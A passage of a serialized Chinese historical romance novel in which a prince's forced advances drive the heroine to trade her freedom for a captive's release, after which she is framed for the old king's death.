忽然,他将药丸拿出来缓缓靠近鼻翼再仔细闻了闻,又掐了一丁点儿下来含在舌尖,闭起了那双黑色的眸子来似是在用心地深深体会着些什么。 似是终于记起了什么?忽地睁开眼来,却是怔着一下,仿佛又再次仔细想了想,这回惊诧地猛坐起身来,喃喃细语道:“这个还魂丹竟和当初给乌乐所服下的那粒焕颜丹出奇的相似,当初我怎么就没发现呢?” 话音刚落,又一次确定地道:“没错,还魂丹就是焕颜丹,一定是这样。” 然而,同时又生出了另一种疑问:“如果说还魂丹就是焕颜丹的话,那为什么两次服药的效果却是截然不同的呢?” 忽然想起乌乐曾经亲口对他说过,她是从一位萍水相逢的道长那里所得来的这粒还魂丹,这才想起自己的焕颜丹又何尝不是呢? 当日,他在茫茫大漠中寻找一株仙草,途中却遇到了一位即将渴死奄奄一息的道长,便舍弃了自己随身所携带的最后仅剩下的一点水救了他一命。 那位道长得救后,对他不甚感激地说:“既是有缘一场,便赠与你两粒世间各仅有此一粒的丹药。其中一枚便就是这焕颜丹。” 而在听了道长对焕颜丹的神奇妙用的阐述后,他还觉得这些药于他会有何用处?没想到,那道长竟是一个颇为有先见之明的人。 一念至此,拓跋宏嘴里不禁低声喃喃道:“难道,我们所遇到的那位高深莫测,又神出鬼没的道长会是同一个人吗?” 思绪顺延:“或许...会不会只有找到了他,便能解释这一切了呢?” 一念至此,他又缓缓回躺了下去,长长地舒了口气,对着那些正在对自己一眨一眨的满天繁星,寄愿道:“真希望这场大战能快点儿结束。否则,我真不知道自己会变成什么样子?不知道,当我再次出现在乌乐的面前时,他会不会也感受到我变成了另一个冷漠无情的人呢?!” 暗自枕着双臂对着星空发呆,不知过了许久,忽地缓过神来,眼睛变得无比温柔了下来道:“乌乐,也不知道你醒了没有?除了命人给你每日补充一些昏迷中身体所必须的营养之外,我竟什么都帮不了你。原来在你的面前,我永远都是那样的无能为力。或许,你若是在那秦王轩辕翰的身边,会不会就不同了呢?他,果然名不虚传。” 忽然,似是感觉到了身边有人在徐徐靠近,便忽地起身来。 回头一看,竟是亭亭玉立着一位窈窕女子。 借着夜空中高悬着的一轮皎洁的明月,他上前两步定睛一看,瞬间欣喜若狂地朝其疾步奔跑了上去,展开双臂来将那女子一把揽入怀中紧紧地抱住。 激动不已地道:“乌乐,真的是你吗?我不是在做梦吧?你醒了,你竟然醒了,你什么时候醒的?你终于醒了!太好了,这真是太好了!感谢天,感谢地,感谢世间万物,感谢草原上的神……” 不由衣上云做任何分说,兀自抱紧着她叽里呱啦的自顾说了一大堆。 衣上云瞬间似是被其拥的几乎都快要喘不过气来,整个人都僵在了他温暖的怀里。 待拓跋宏终于感觉到她不得出气时,忙一把将其松开又扶住她的双肩,依旧激动地问:“乌乐,你怎么来战场了?你怎么会来这里?” 衣上云这才埋头深深地喘了口大气。 紧接着,一边从袖兜里摸索出那块天马兵符来,一边皱眉对其嗔怪道:“我是专程来将兵符送给你的。大战在即,这么重要的东西,你怎么会那么不小心落在我那儿呢?” “我……”拓跋宏一见到衣上云双手捧到自己面前来的那无比熟悉,对别人而言是象征着拥有这草原上的无上权力,却是对自己而言,犹如枷锁一般的物件,缓缓垂首下去,显然不知该从何说起? “我知道二皇子不想做北烈国的继承人,但你总是这样一直逃避下去也不是办法啊。总该想办法去面对,解决这个问题才是。”衣上云见其一见忧郁,吐了口浊气,说道。 “二皇子...你已经知道我是……”拓跋宏顿时抬起头来惊讶地怔望着她的脸道。 衣上云拉起拓跋宏的一只手来,将自己手里的兵符塞到他的手里握好,方才缓缓转过身去对其说:“其实我早就该想到你的身份非同一般了?婢女已经将一切都告诉我了。原来,一直在暗中默默保护我,帮助我的人,都是你。” “乌乐,为了你,我愿意做所有一切事情。你若愿意,我甚至都可以抛下一切,现在就带你离开这里。天涯海角,只要能跟你在一起,我们去哪儿都行啊!”拓跋宏满心期盼,几近于哀求地道。 “二皇子,你好好醒醒吧!我也希望你只是一个普普通通的牧民之子,如此便会自由快活许多,可你终究不是。如若这样,你可以任性妄为,那你年迈的老父王怎么办?北烈国怎么办?眼前的西北大战怎么办?这草原上千千万万的牧民们又怎么办?难道你要一辈子都做一个逃兵吗?” 闻此,衣上云不禁也有些激动了起来,背对着他忿忿道。 顿了顿,黯然地说:“这个世上,我们谁都不可能完全按照自己的意愿去痛快地活。你知道,我不可能给你任何承诺,为了我这样的女人,你根本就不值得。” “值得,你值得……”拓跋宏急道。 衣上云厉声将其打断:“不要再执迷不悟下去了。这个世上,有些人之间,没有缘份就是没有缘份。若是你非要强求,只怕我们日后就连朋友都没得做了。二皇子对乌乐有恩,乌乐不希望到了最后,我们之间会是这样的结局。” 拓跋宏听了她此时这段格外决绝的话,终于定了定神,冷冷地道:“终究,你还是忘不了他,对吗?” “与他无关,这一切都是乌乐的命。”衣上云心里浮起一抹痛楚,脱口苦涩地说道。 拓跋宏看着衣上云递到自己手里来的天马兵符,默想了会儿,忽然开口凉凉地说:“那好,我且当你说的都是你的心里话。如今,你只将这个兵符交给我,难道就没有什么其他的话对我说吗?比如...你告诉我,接下来的仗,我该怎么打?既然兵符已到了我的手里,他曾经那样的伤害过你,你想我对那轩辕翰狠一点儿,还是放他一马?” 果然衣上云的心里咯噔一下,顿了顿,吸了口气回他的话道:“你知道我是西秦国子民,自是西秦亡则我亡。所以关于两国的战争,我又怎么能左右二皇子该去怎么做呢?” 说着说着停了下来,慢慢转回过头来看着拓跋宏的眼睛,将自己剩余的话说完:“我想二皇子应该听从自己的内心,好好想想自己到底想要什么?北烈国的子民们又想要什么?方才能知自己究竟该如何去做?” “二皇子一定会知道自己该怎么做的。”话一说完,衣上云便转身踱步兀自离去。 “你要去哪儿?” 直到其已经走出了好远,拓跋宏方才缓过神来,朝着她的背影问。 衣上云忽地驻足,却并没有回头,只淡淡地笑着背对着他说道:“谢谢你,宏,谢谢你一直以来对我无微不至的关心与照顾。老国君所托,我已经办到。我想,我是时候该离开这里了。” “离开?你要去哪儿?”拓跋宏朝其背影惊叫道。 “天大地大,去一个没有人认识我的地方,无忧无虑的重新开始生活。”衣上云如释重负般一说完,便继续迈步前行。 却是笑着在心里默默道:“宏,再见了,你会永远活在我的记忆里。无论以后发生什么,都要好好活下去。” “不许走,不许走,你不许走,本皇子命令你,不许离开本皇子半步,更不许离开我北烈国境内。” 拓跋宏竟一边发疯般朝其吼叫命令着,一边疾步追了上去。 将其从身后猝不及防地一把拽住,倏的一下转过了她的身子来,埋首下去,以吻封唇…… 忽觉唇上传来一阵疼痛感,拓跋宏吃痛倒抽了口气发出一阵闷声:“嘶”。 衣上云乘机一把大力地将其推开来,拓跋宏忙伸手在自己厚厚的唇瓣上轻轻一抹,看到指腹上粘着的竟是鲜红的血迹。 于是,顿时瞪向她的眼睛不解地道:“你这是做什么?” 衣上云欲言又止,只冷冷朝其说了句:“二皇子,请自重!” 岂料拓跋宏气急败坏,竟忽然变得不可理遇,面目都有些狰狞地的说:“这是我北烈国的国土,本皇子身为这草原上未来的王,想做什么便做什么,任何人包括你,都没有反抗和拒绝本皇子的权利。” 说着,便朝其再次近身了过去。 衣上云惊恐地开始连连后退起来,摇头对其乞求道:“不,二皇子,你不能这么做,不能……” “扑通”一声…… 第四百零四章:谁是赵平安? 拓跋宏一边朝其缓缓挪步过去,一边恼羞成怒狠狠地道:“即使得不到你的心,本皇子也要得到你的人,将你这辈子永远都锁在本皇子的身边。” “不...不要...二皇子你不能...求求你...我求求你放过我...放我走吧...求你了…不要……” 就在衣上云的一声声哀求中,拓跋宏已然近身过去,正欲伸出手拽住她的一只臂膀,想要将其再次拥入怀中时。 “扑通”一声。 衣上云正往山坡下徐徐倒退而去的脚下竟忽一个踩空,跌倒后直往坡下方迅速地滚落了下去。 “乌乐……” 拓跋宏见势忙惊声大叫了一声,亦毫不犹豫地朝其身边扑倒了上去与其顿时纠缠在一起,抱作一团在草地上如同雪球一般翻滚了起来…… “啊!”一落入坡底,衣上云又痛又惊地叫了一声。 “乌乐,你没事吧!对不起,都是我的错,对不起,我不是故意的。你有没有受伤?赶快让我看看!”拓跋宏则赶忙起身来将其扶起坐下,着急地一边替其查看一边问。 “你不要碰我!” 衣上云生气极了,目光只在他脸上掠了一下,便急闪避开了他的手,顾不得自己周身的痛楚,强撑着一股力气站起身来。 心中一酸,强忍着泪意,转身快步一瘸一拐地继续往下走去。 拓跋宏被她此时从未有过如此冷漠决绝的样子着实惊了一跳,硬是在原地里怔了好一会儿,方才急急回过神来赶忙追了上去:“乌乐等等我。” 与其一道边走边紧张地致歉:“乌乐,我知道我错了,请你原谅我吧!我这也是因为真的是太爱你,太怕失去你,方才会有刚才的那些冲动之举,真的对不起。你的手到底怎么了?赶快让我瞧瞧。” 此时,衣上云已经什么都不想与他再多说,直接轻巧地闪开了他向自己所附上来的两只不知所措的手,只紧紧抱着自己受了伤的一只胳膊肘关节处兀自埋头赶路。 被其弄得无所适从的拓跋宏顿时心里愁肠百转,想着,该如何解释呢?如何解释她才能明白?又如何解释才能得到她的谅解? 忽然,他驻足停了下来,对着其瘦弱却倔强的背影扬声叫道:“乌乐,我是真的爱你。为了你,我甚至可以放弃一切,亦可以为你去争一切。” 见衣上云依旧丝毫都无动于衷,顿了顿,他的眉头紧紧皱了起来,像是隐忍着巨大的悲恸,道:“乌乐,你可知道?如今,我就连杀人都做到了,你知道这是为什么吗?” 衣上云听了心里咯噔一下,终是顿足停了下来,却并未回头。 拓跋宏见她止步,深深地吸了口气,道:“那是因为我想给你一个真正属于你的世界,一个只有你说了才算的世界,一个你永远都不会遭人驱逐的世界。就算那秦王轩辕翰再好,然你们之间这辈子也不可能会有结果的。你又何必对他如此执着,念念不忘呢?” 听了拓跋宏的话,衣上云沉默了许久。忽然之间,觉得心里格外的难过与失望,似是都有些喘不过气来,她紧紧攥住自己的胸口。 一个人的改变,竟是如此容易,可为何偏偏还要给它强加上是以爱的名义呢?! “宏,你知道吗?你已经彻底迷失了自己,你已经再也不是以前我所认识的那个宏了。” 心里想着,最后,她嘴上却只无比坚定地开口说了句:“我愿意。” 说完,便继续坚定不移地朝前方开始迈起了大步来。 就在她走出了一段之后,感觉只剩下自己的脚步声,拓跋宏似是真的再也没有追上来。 正在确认思量着,忽闻前方传来了一阵稀疏的脚步声。 她抬头一看,原是迎面而来两名北烈士兵打扮的男子。 那俩人似是边走边说着些什么,衣上云紧忙放眼四周搜索到一棵树,躲了起来。 老士兵语重心长地劝说:“赵平安,我看你就安心做一名我北烈国士兵算了。都已经过去这么久了,怕是你老婆早都以为你已经死了,跟着别人跑了吧?” 赵平安坚信不疑:“少胡说,玉娘才不是那种人呢!这眼看着秦王殿下的队伍马上就要占领整片草原了。到时候,我相信一定能够回去西秦和我娘,玉娘,还有我的灵儿团聚的。” “你可拉倒吧,你还没听说吗?”老士兵神秘地道。 赵平安疑惑地问:“听说什么?” 老士兵道:“水精灵” 赵平安:“什么?” 老士兵睨了他一眼,说:“一看你就不知道,来来来!” 俩人顿足停下,老士兵附上了赵平安的耳旁,窃窃私语起来。 赵平安听着,眼睛瞬间瞪的愈来愈大,终于忍不住发出一声惊叫:“什么?” 老士兵惊慌地一把紧紧捂了赵平安的嘴:“嘘,你小点儿声,若是被人听到了,传到大皇子的耳朵里,那我们俩可就都得脑袋搬家了!” 说完朝四下里探了探,方才缓缓松开手。 赵平安压低声音忿忿地道:“大皇子怎能做如此惨绝人寰的事?那可是也同样关乎到北烈国成千上万牧民们的性命的大事啊!” “只要能打败西秦大军,死些贱民又有何妨?大皇子,他可是从来都不把我们这些贱民放在心上的,唉……”老士兵深深叹了口气。 边走边沉默思量着,赵平安忽然开口道:“谢谢你这么久以来对我的照顾。我已经想好了,这次说什么,就算是豁出了命,我也得去将这个消息带给西秦军队。” “不行不行,你难道忘记以前你逃跑的那次了吗?被捉回来后,差点五马分尸了!”老士兵驻足,甚是紧张地一把拽住了他,提醒道。 赵平安一脸凝重,想了想,道:“人,固有一死。无论如何,我都绝对不能眼睁睁看着我西秦那么多兵将被人毒害,尤其是还有爱民如子的秦王殿下。西秦的百姓们若是没有了他,怕是日子过得就更水深火热了……” 老士兵着急地继续劝:“那你就不要你老娘,老婆还有孩子了吗?好死不如赖活着,只要活着,就总会有机会的。” 赵平安看了他一眼,道:“可我若是这样苟活着,她们一定会看不起我的,我也会一辈子都不能原谅自己。” “唉,其实秦王殿下确实是一个难得的好将领,听说那些俘虏在西秦军营里个个活的像个人一样。哪儿像我们,被人白天黑夜地当牛当马使也就罢了,动不动还要军法处置。想以前老国君那会儿多好啊,可现在...唉!”老士兵摇摇头,叹息道。 赵平安灵光一闪,忽止步拉住老士兵骨瘦如柴的一条胳膊道:“不如,你跟我一起逃吧,相信我,秦王殿下一定会善待你的,我保证!” 老士兵迟疑地愣了一下,又对其淡淡地笑了笑,说:“你看我这把老骨头,还能有多少日子啊,总不见得临了了,还落个客死他乡吧?!” “你放心,待到西秦很快统治了这片草原,大家的日子一定会都好起来的。”赵平安想了想老士兵的话,缓缓松开手,劝慰他道。 “但愿吧……”老士兵一脸希冀道。 说着,俩人便再次一起继续并肩往前走去…… 而此时,躲在一边暗处隐隐听到其中一些谈话的衣上云,心里顿时有些纳闷了起来。 嘴里喃喃道:“赵平安,玉娘,婆婆,灵儿...好熟悉的名字,像是在哪儿听到过……“ 脑海里忽地一闪,瞬间惊呆了。 须臾之间,她满脸欣喜,激动地自言自语道:“他是...他是婆婆的儿子,玉娘的夫君,灵儿的爹...赵平安!” 一念至此,她赶忙从黑暗里冲了出去,追上前面那俩人问:“谁是赵平安?” 俩名士兵显然被这寂静的夜里,忽然不知道从哪儿冒出来的陌生女子吓了一跳,忙拔刀回头挡在身前做起防护之势。 仔细一打量,但见来人原是一名纤纤女子,俩人方才四目相对了一下,又收起了佩刀来。 这时,赵平安上前两步问:“你是谁?找我何事?” “你就是赵平安?玉娘是你的妻子,灵儿是你们唯一的女儿,你还有一个老母亲,整日整夜在家盼望着你回家团聚呢,是不是,是不是?” 此时的衣上云着实激动极了,不知何时,眼里竟已有点点泪花在闪烁。 没想到赵平安原来真的还活着,玉娘所做的所有努力总算是都没有白费。 “这一切,你是如何得知的?你是……”赵平安瞬间朝其愣愣地惊呆了。 说着,他又将眼前这名孤身一人的单薄女子再次仔细打量了一番,疑惑地道:“看你的打扮和气质,不像是北烈国女子,你是怎么来到这里的?” 衣上云忙解释道:“我是西秦人,我识得你所有的家人。” 赵平安激动地道:“真的?她们…她们都还好吗?” 衣上云拼命地朝其点头:“好,好,好,她们都很好,她们都在秦王府里等着你回家呢!” 说着,便快步上前去将其一把拽住,道:“走,我带你离开这儿。” 一旁的老士兵正欲开口说话,忽传来一威严的冷声道:“大半夜的,你们都在这里鬼鬼祟祟做什么呢?” 第四百零五章:回家,真好 衣上云说着,便快步上前去将其一把拽住,道:“走,我带你离开这儿。” 一旁的老士兵正欲开口说话,忽传来一威严的冷声道:“大半夜的,你们都在这里鬼鬼祟祟做什么呢?” “二皇子!”老士兵一看清楚从衣上云身后的黑暗里所走出来的冰冷面孔,忙恭敬地朝其抱拳行礼。 然衣上云却依旧拽着赵平安的胳膊,俩人一动不动地站着。 老士兵见拓跋宏沉着脸色,悄悄地扯了扯赵平安的身后。 赵平安想了会儿,终是泄了气。 正欲抽回手来亦朝其同样行礼,岂料衣上云竟加重了手上的力道将其死死拽住,忽然开口说道:“我们是西秦国的子民,为何要同一个北烈人行礼?” 拓跋宏听了,顿时惊瞪向了她的脸,然衣上云却始终根本就看都不看他。 此时的拓跋宏有些尴尬,又有些无奈,最后只能笑了笑。 轻蔑地瞟了赵平安一眼,继而挑眉对衣上云说道:“虽说他只是我北烈一个极不起眼如蝼蚁般的俘虏,可是想带他走?你觉得就那么容易吗?” 衣上云一脸冰冷,素声道:“拓跋宏,‘多行不义必自毙’,我劝你不要欺人太甚。你放了这个人,让他回西秦去吧。他家里尚有年迈的老母亲,还有妻子,孩子,她们都在盼星星,盼月亮似的等他回去团聚呢!” 拓跋宏脸上虽一直都是笑着的,可心里却比哭还难过。 他也是盼星星,盼月亮一般盼着她能够平安醒来。可怎么她终于醒了,他们之间却成了这个不可收拾的样子。 她如今恨自己,竟已到了直呼自己名讳的地步了。 他依旧笑着看了她一眼,转回视线去侧身对着她深吸了口气兀自说道:“想要本皇子放了他,倒也不是不可以!除非……” “除非什么?”衣上云急道。 “除非你留下来与他做交换。”拓跋宏道。 “拓跋宏,你……”衣上云顿看向他的侧脸,却忽然又似是都不知道与他该说些什么了。 拓跋宏双手负后着,反而云淡风轻地道:“这很公平,不是吗?” 衣上云敛声只道了句:“你这又是何必呢?”,兀自转回视线。 拓跋宏隐忍着悲伤道:“本皇子说过,纵使得不到你的心,也要得到你的人。就算到了最后,依然什么都得不到,本皇子亦不愿意便宜了那秦王轩辕翰。本皇子得不到的,他也休想得到。这辈子,你永远都休想离开本皇子的身边!” 此话一出,顿时间里一片寂静。 不知过了多久,拓跋宏淡淡地开口问:“怎么样?谁去谁留,你可已经想好了?” 衣上云深吸了口气,似是心里已经有了决定,正欲打算说话,赵平安忽然似是明白了什么,抢先开口将其打断:“把我留下,请二皇子放这位姑娘走。” “啪” 话音刚落,岂料一记重重的耳光神不知鬼不觉地落在了赵平安的脸上。 “你疯啦!为什么打他?”衣上云顿时看向立在自己面前拓跋宏的脸,朝其大惊道。 拓跋宏看着赵平安惊恐至极的目光,怒喝道:“你插什么嘴?本皇子有问你吗?你左不过一个微不足道的小小俘虏,有什么资格来决定自己的去留?” “够了,拓跋宏,你简直已经到了不可理喻的地步了!”衣上云大声叫道。 拓跋宏瞬间一把提起了衣上云的手腕来,将其置于俩人中间,俯身下去面目狰狞地亦朝其大声吼叫:“那也是被你给逼的,你以为今天的一切,都是我自己想要的吗?这都是因为了谁?因为了谁?你说,你说啊!” 衣上云顿时觉得自己被摇晃,还有被吼的似是头都快要炸开了,忽爆发出一股力量来用尽全身的力气将其束缚挣脱开来,抱着头一边后退一边紧紧闭着双眼,发出撕心裂肺的一阵声音道:“够了,够了,我留下,我留下,我答应你,我答应你。” 说完,便“扑通”一声,无力的瘫坐在了地上。 赵平安见了,想要上去帮她,身旁的老士兵死死将他拽住:“你要干什么?你帮不了她的,只会越帮越乱。” 许久后,拓跋宏终于平复了下来,恢复正常。 他缓缓转身,踱步来到了老士兵的身旁,在其耳旁命令道:“带她回去。” 说完,便只身先迈开步来朝着军营大帐方向兀自回去。 直到看到其身影消失不见,赵平安方才疾步奔向到瘫坐在地上的衣上云身旁,缓缓蹲身了下去,问:“敢问姑娘尊姓大名?日后定当报答姑娘的大恩大德。” “我的名字叫做衣……”话刚出口,衣上云又急急敛住,淡淡地笑着道:“相信我们一定还会再见面的,你快走吧,小心他待会儿又回来改了主意!” 一旁的老士兵也早已经凑了上来,道:“对对对,这二皇子虽不比大皇子心狠手辣,但也已经不是以前那个不食人间烟火的主了。为今之计,你还是抓紧摸黑赶快逃命去吧,去找西秦大军,他们一定会带你回家的。若是逃不掉,这姑娘岂不就白白牺牲了自己嘛!” 闻此,隐忍着心里巨大的悲痛和歉意,赵平安含泪缓缓起身来朝衣上云深深鞠了一躬,道:“如此,赵平安多谢姑娘的救命之恩了,姑娘保重,咱们后会有期!” “走吧走吧……”老士兵催促着道。 “麻烦您帮忙多照应着点。”赵平安抹了把泪,最后拜托老士兵。 “放心吧,你看那二皇子刚才那架势,他只是太喜欢这位姑娘,应该不会真的为难她的。”老士兵虽已年迈,却并不糊涂,似是已经看透了方才的一切。 于是,在一片柔柔月色下,赵平安终于踏上了回家的路。 望着他渐行渐远,直至渐渐消失的背影,衣上云在老士兵的搀扶下缓缓起身来,心里默默地道:“回家,真好!” 北烈军营大帐外。 拓跋宏刚一出现在营地里,他的近身侍卫便急急从马背上跃身下来,跌跌撞撞地朝其疾奔了过去,禀道:“二皇子,大事不好了!” 拓跋宏依旧有些生气着,一边走一边只冷冷地问:“发生了何事,如此慌张?” 侍卫心里犹豫了一下,炸了一句道:“老国君...殁了。” “什么?这是什么时候的事?”拓跋宏顿足停了下来,朝其大惊一声道。 忽觉眼前一黑,腿脚发软,似是天旋地转,欲要跌倒,忙伸手扶向额头。 侍卫一见,忙上前将其牢牢扶住:“刚刚收到的消息。” 定了定神,拓跋宏忙问:“到底是怎么回事?我来的时候,亲自替父王把过脉,父王的身子虽然孱弱,但也不可能这么快便会……” 这个节骨眼上,发生了这样大的事,侍卫显然不知如何向其作答,只催促着道:“殿下还是先回营帐吧,大皇子就此事特意还在等您呢!” 拓跋宏脚步匆匆地一进入到大帐的时候,便见拓跋泽一只手里正捏着一纸书信,伤心欲绝的流泪着。 虽为国丧,但唯恐被西秦大军得此消息后会趁虚而入。拓跋泽便下令整个军营都维持原样不许治丧,所以整个军营里至今都不曾见到有人张罗一丁点儿白色。 拓跋宏进门怔了一下,继而步履艰难地朝其缓缓近身过去难以置信地问:“皇兄,这究竟是怎么回事?” 拓跋泽将刚刚收到的北烈国君殁了的书信递向拓跋宏面前,拓跋宏的手颤颤巍巍地将其接过。 当他一看到书信上竟然出现了乌乐的名字时,顿时朝其瞪大了眼睛,摇头说道:“不,这不可能。我不相信,这绝不可能,不可能是她做的,不可能,绝不可能!” 然拓跋泽却在一旁故作惺惺作态,痛心疾首悲恸地泪纷纷着道:“皇弟,对不起。这一切都是我的错,是我不该被她善良的外表所迷惑,以至于引狼入室,害死了父王,我罪该万死,罪该万死啊!” 一边说着,他朝送这封信来的侍卫悄悄使了个眼色,那侍卫便绘声绘色地说道:“婢女进去的时候,老国君早就已经断气,连血都快要流干了。他临死都是睁着眼睛的,老国君乃死不瞑目啊!” “扑通”一声。 拓跋宏一听到他自小到大最挚爱的父王死的如此凄惨,终于再也忍不住,无力地重重跌坐在了案几边上,现出一脸黯然与木讷。 就在这时,衣上云被老士兵忽然带了进来,拓跋泽一见吓了一跳。 老士兵正欲请示该将衣上云如何安置,岂料那送信的侍卫一见衣上云出现,便朝其伸手指了过去愤怒地道:“是她,就是她杀了老国君!” 衣上云顿时惊呆了:“你说什么?老国君...死了……” “妖女,果真如西秦国的传闻所言,你就是个名副其实杀人不眨眼的妖女。老国君平时对你那么好,你竟然恩将仇报杀了他!”那侍卫一口咬定道。 衣上云怒道:“你胡说,老国君的身体明明已经都快要大好了。我若是有心想要杀他,又为何要费尽心思去救他?” “将这个妖女给本皇子立刻拿下。”这时,拓跋泽不由分说地当即命令道。 衣上云怒瞪了一眼拓跋泽,又转而看向此时伤心欲绝的拓跋宏…… 第四百零六章:你不会骗我,对吗? “将这个妖女给本皇子立刻拿下。”拓跋泽终于逮到了机会便不由分说地当即命令道。 衣上云怒瞪了他一眼,拓跋泽眼里立刻闪过一抹心虚。 很快,她又忙将目光转而看向此时正伤心欲绝的拓跋宏。 “你们要干什么?放开,放开我。”一边叫着,一边挣开了侍卫对其双臂的禁锢。 只一个劲儿朝拓跋宏大声解释道:“二皇子,不是我,真的不是我,你要相信我,我没有杀老国君,我真的没有杀老国君。” 然拓跋宏却一直只愣愣地盯視着脚下的地面,紧紧握着双拳,似是整个人都被隔离了一般,什么都已听不到,只有双肩隐隐约约似是在不停地颤抖着。 “自从二皇子殿下走了以后,便只有你一个人在老国君的身边伺候着。难怪你整日里如此殷勤,竟是早已图谋不轨。有人更是亲眼看见那夜你从老国君的帐篷里一走出来,便急急收拾行囊鬼鬼祟祟的骑着一匹快马逃走了。若不是你,还会有谁?”那送信的侍卫又极合时宜地补了一句。 拓跋泽像是对侍卫的此番举动颇为满意,俩人暗暗对视了一眼,俱都悄悄地嘴角斜出了一抹狡黠的弧度。 “你血口喷人,我之所以连夜急着赶路,那是因为我答应了老国君要将……”话已到了嘴边,衣上云忽觉得不对,心中立刻明白了她是着了道了。 遂看了看拓跋泽,又看了看那名来报丧的侍卫的脸,心里暗暗思量着道:“一名小小的侍卫,自是不敢如此肆无忌惮地在两位皇子面前颠倒是非黑白。他的身后,一定有强大的后台支持,那个人……” 衣上云再次扫了一眼这兄弟两人在突然得知其父王过世的消息后完全不同的态度,顿时心里断定:“那个人一定是...拓跋泽。难不成,杀害老国君的真正凶手...竟是他的亲生儿子?” 一念至此,衣上云顿时惊呆了。 她没想到,拓跋泽竟然丧心病狂到了这种地步,然仔细一想,可她又有什么证据呢? 她究竟该如何才能在这两兄弟面前说清楚这件事呢? 拓跋宏显然还没有准备好告诉拓跋泽关于老国君已经将天马兵符传给自己的事情。 而拓跋泽也一定还不知道天马兵符已经被自己从龙卷风里拾了回来,并重新又回到了拓跋宏的手里,否则他一定早都已经按耐不住了。 他们毕竟才是一奶同胞的亲兄弟,她即便全都说出来了,就自己方才的一切所作所为,对他那般地决绝无情,此时的拓跋宏真的还会相信自己说的吗? 再者,若是此事一旦继续追根究底下去,那她到过西秦军营,见过轩辕翰的事也一定会被暴露出来,到时候还不知道他们又会怎么想?她怕是真的就彻底百口莫辩了。 想着想着,她都不敢再继续往下想去…… 就在她思量之际,拓跋宏隐忍着心中巨大的悲恸,缓缓沉声果不其然地开口问道:“从腹地到军营,理应昨日便能到达。那么在此期间,你又去了哪里?” 此话一出,拓跋泽顿时抬起头来紧张的盯視着衣上云的眼睛,唯怕其将自己与她抢夺天马兵符的事给说了出来,拓跋宏对自己起了疑心。 而衣上云则紧紧盯視向拓跋宏低垂的脸,实乃哑巴吃黄连,有苦说不出。 顿时间,三人的心,俱都一起提至到了嗓门口处,空气变得格外紧张。 “我...我......”只见衣上云一脸凝重地吞吞吐吐,最后终是在自己心里重重地叹了一声,放弃了所有自辩的机会。 “怎么?无话可说了?”拓跋宏的眼睛微微抬起,里面却带着尽是凉意与讥讽,冷冷地道。 衣上云霎时间僵在了那里,只有沉默,沉默,久久的沉默。 “来人,将她关起来,没有本皇子的命令,谁都不许接近她。”拓跋宏又沉默了一会儿,深吸了口气,最后下令道。 顿时,两名士兵再次朝其近身了过去。 “二皇子,我真的没有杀国君,请你相信我,我真的没有,真的没有……”衣上云一边被拖出去,一边叫喊着。 见此,拓跋泽终于如释重负长长的舒了口气,缓缓站起身来故作一脸忧郁地走到了拓跋宏的身旁,兀自将一只手搭在其肩上轻拍了两下,关切道:“皇弟,你还好吧?” 岂料拓跋宏竟忽然抬起头来深看着他的脸,颇为认真地问了句:“皇兄,不管什么时候,过去,现在,亦或未来...你都不会骗我的,对吗?” 拓跋泽听了,不禁顿时朝他向自己所投来的从未有过的眼神怔愣了一下,继而含笑着道:“我们是兄弟,是手足,皇兄当然不会骗你!” 可在拓跋泽漆黑深邃的眼眸里苦苦寻觅了许久,拓跋宏似是再也没能寻回丝毫自己儿时对其所那般熟悉和依恋的感觉。 蓦然收回视线,他忽然想起了自己五岁时候那一年,看到拓跋泽马术特别好,拓跋泽要拉他上马教他,他却始终都不敢尝试。 拓跋泽便对自己伸出一只手来说:“宏弟,不要怕!我们是兄弟,是手足,皇兄当然不会骗你!我会永远都在你的身边守护你。” 温馨的往事一幕幕,尚且俱还都萦绕在心头,而此刻他的心里,却是有一种从未有过的极度的恐惧感正在冉冉升起。 他怎么都不敢相信自己心里所怀疑的,然直觉却又使得他不得不信。 或许,直到现在,他终于明白了他前几天究竟去了哪里? 明明对他极为失望和痛心,却是面上一直苦笑着,只在心里默默地问:“乌乐,我当然相信父王绝对不会是你杀的。可你又到底在故意对我隐瞒些什么?你那满身的伤痕又是因何得来?” 一念至此,他决定回去将父王的死好好查个清楚。 于是,隐忍着所有心情对其默默说了声:“那就好!”便立起身来直朝大帐外走去。 刚到大帐门口的时候,忽侧回头来道:“皇兄,战场上的事暂且就全都交给你了。我必须回去亲自送父王一程,也务必带她回去同父王当面认罪。” 说完便摇摇晃晃,一脸黯然失色地缓缓跨出了门,朝其近身侍卫交代了一番后,兀自翻身上马疾奔向腹地方向而去,心里难过地呼唤道:“父王,宏儿回来了。对不起,宏儿回来晚了……” 拓跋泽望着他离去的背影,一脸愕然…… 第二日半夜时分,西秦军营里。 轩辕翰正在营帐里秉烛为即将到来的最后一场大战做最后的布署审核。 程良忽然心事重重,步履匆匆地进入大帐来,吞吞吐吐地道:“启禀殿下,属下方才听那日里负责帮军医为乌乐姑娘疗伤的那名北烈女子说...说……” “说什么?”轩辕翰抬起头来望向他的眼睛,沉声问。 程良吸了口气,鼓足了勇气道:“说乌乐姑娘的身上,有一甚为醒目的凤凰印记。” “什么?”轩辕翰听了,顿时瞪大了眼睛惊立起身来道。 一回神,又再次朝程良确认了一次:“确定吗?她真的没看错?” 程良朝其认真地点了点头道:“千真万确!” “这么说,那名叫乌乐的女子,她真的便是...云儿!云儿她没死,她真的还活着!”轩辕翰着实震惊极了,似是许久以来压在他心里的一块硕大的巨石终于落了地。 原来,他的感觉一点儿都没错。 遂又想起莫名消失了的那只银针布包,轩辕翰顿时醒悟:“如此说来,那包不翼而飞了的银针,也一定是她离开的时候拿走的。难怪本王感觉对它是那般的似曾相识。本王终于想起来了,那包银针,便是当日在百草谷外的树林里,我与她初见时,她拿来帮本王疗伤所用的。” 俩人遂一起沉默了许久后,一旁的程良想了想,问:“这场仗,眼看着马上就要结束了。接下来,不知殿下想要怎么做?还是不带衣姑娘回去吗?” 轩辕翰略显激动的脸色忽然间变得阴沉了下来,缓缓坐下。 又默想了会儿,眼里闪过一抹迟疑,伸手捏向眉心,阖起眼睛来说道:“本王记得她临走的时候说要去北烈腹地,先命人将她找到后保护起来。其他的,让本王再好好想想。” 就在这时,营帐外忽然传来了一阵嘈杂声:“秦王殿下,秦王殿下……” 程良听见,皱了皱眉,正欲踱步出去查看,一名侍卫急急奔了进来,上前恭敬地行礼禀告道:“启禀殿下,刚刚在营外抓到了一名北烈国士兵,他嚷嚷着非要亲自见殿下一面。” 程良当即怒斥道:“混账,只不过区区一名俘虏而已,平日怎么处理的便怎么处理即可,也敢以此来打扰殿下?” 